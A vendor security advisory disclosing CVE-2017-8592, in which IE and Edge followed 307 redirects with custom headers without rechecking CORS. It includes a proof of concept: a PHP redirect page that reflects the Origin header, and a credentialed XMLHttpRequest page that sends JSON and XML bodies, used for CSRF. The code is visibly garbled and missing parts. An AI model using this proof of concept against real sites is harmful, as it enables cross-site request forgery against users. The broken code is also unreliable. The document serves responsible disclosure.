Technical advisory: CVE-2017-8592 – XMLHttpRequest in IE followed 307 redirections with additional or customised headers

Vendor: Microsoft

Vendor URL:

Versions affected: IE 10, 11, and Edge prior to July 2017 patch

Systems Affected: Windows with above versions affected

Author: Soroush Dalili

Advisory URL / CVE Identifier:

Risk: Low


Internet Explorer (or Edge) could be used to send arbitrary messages to a target after a redirection without checking the CORS header on the target again. As a result, it was possible for example to exploit CSRF issues that only accepted specific content-type headers. In order to perform this attack, an attacker could create a dynamic page that had custom CORS headers to redirect any incoming requests to the target using the 307 HTTP status code (redirection of full message).


Web applications that relied on the content-type or other predictable HTTP headers could be exploited using this vulnerability.


The following PHP code shows an example of a redirection page (‘redirect.php’) that can respond to ‘OPTIONS’ and other HTTP verbs properly:


$rdir = $_GET[‘rdir’]; # the destination

$rdircode = $_GET[‘rdircode’]; # redirection status code


header(‘Access-Control-Allow-Credentials: true’);

header(‘Access-Control-Allow-Methods: GET, POST, PUT’);

header(‘Access-Control-Allow-Headers: x-requested-with,content-type’);


if (isset($_SERVER[‘HTTP_ORIGIN’])) {

        header(“Access-Control-Allow-Origin: {$_SERVER[‘HTTP_ORIGIN’]}”);




        $rdircode = “200”;


switch ($rdircode) {

    case 200:


    case 300:

    case 307:

    case 308:

        header(‘Location: ‘ . $rdir, true, $rdircode);



        $rdircode = 301;

        header(‘Location: ‘ . $rdir, true, $rdircode);




This page has been saved here:

The following HTML page (custom-header-test.html) could be used as a proof of concept to send arbitrary JSON and XML messages to the ‘redirect.php’ page above by targeting the ‘’ website as an example:




      function submitRequestJSON()


        var xhr = new XMLHttpRequest();“POST”, “ rdircode=307”, true);


             xhr.setRequestHeader(“Content-type”, “application/json; charset=utf-8”);

             xhr.setRequestHeader(“x-requested-with”, “Something New!”);

        xhr.withCredentials = true;

        var body = ‘{“Did_I_Just_Sent_JSON_With_Valid_ContentType”:”yes!”}’;






         function submitRequestXML()


        var xhr = new XMLHttpRequest();“POST”, “ rdircode=307”, true);


             xhr.setRequestHeader(“Content-type”, “application/xml; charset=utf-8”);

             xhr.setRequestHeader(“x-requested-with”, “Something Else!”);

        xhr.withCredentials = true;

        var body = ‘<request attrib=”Did_I_Just_Sent_XML_With_Valid_ContentType”>Yes!</request>’;





    <form action=”#”>

      <input type=”button” value=”Submit request” onclick=”XMLHttpRequestJSON();submitRequestXML();” />




This page has been saved here:

After loading the above HTML page in a vulnerable IE (or Edge), first it sent a POST request to ‘ rdircode=307’ with custom headers then redirected the whole message with its custom headers and body to ‘’.

This attack does not work in Mozilla Firefox as it requires appropriate CORS headers from the redirected target as well.

In Google Chrome, when the ‘custom-header-test.html’ page was hosted on the same domain as the ‘redirect.php’ page, it sent a request to the target but removed the content-type and other custom headers (it used ‘Content-Type: text/plain;charset=UTF-8’ if ‘content-type’ was not set by the ‘custom-header-test.html’ page). When these files were served from different origins, Google Chrome did not follow the redirection at all. Therefore, XMLHttpRequest in Google Chrome at most could act like a simple HTML form with ‘enctype=”plain/text”’.

Bypassing security features using redirection is a common attack vector and it was interesting that this issue had not been reported to Microsoft previously. A similar issue in Adobe Flash had been patched a long time ago (see


Apply the July 2017 Microsoft patch.

Vendor Communication

Reported to Microsoft: 26/01/2017

Microsoft acknowledgement: 26/01/2017

Microsoft patch date confirmation: 18/04/2017

Patch released: 11/07/2017

Written by:  Soroush Dalili

Call us before you need us.

Our experts will help you.

Get in touch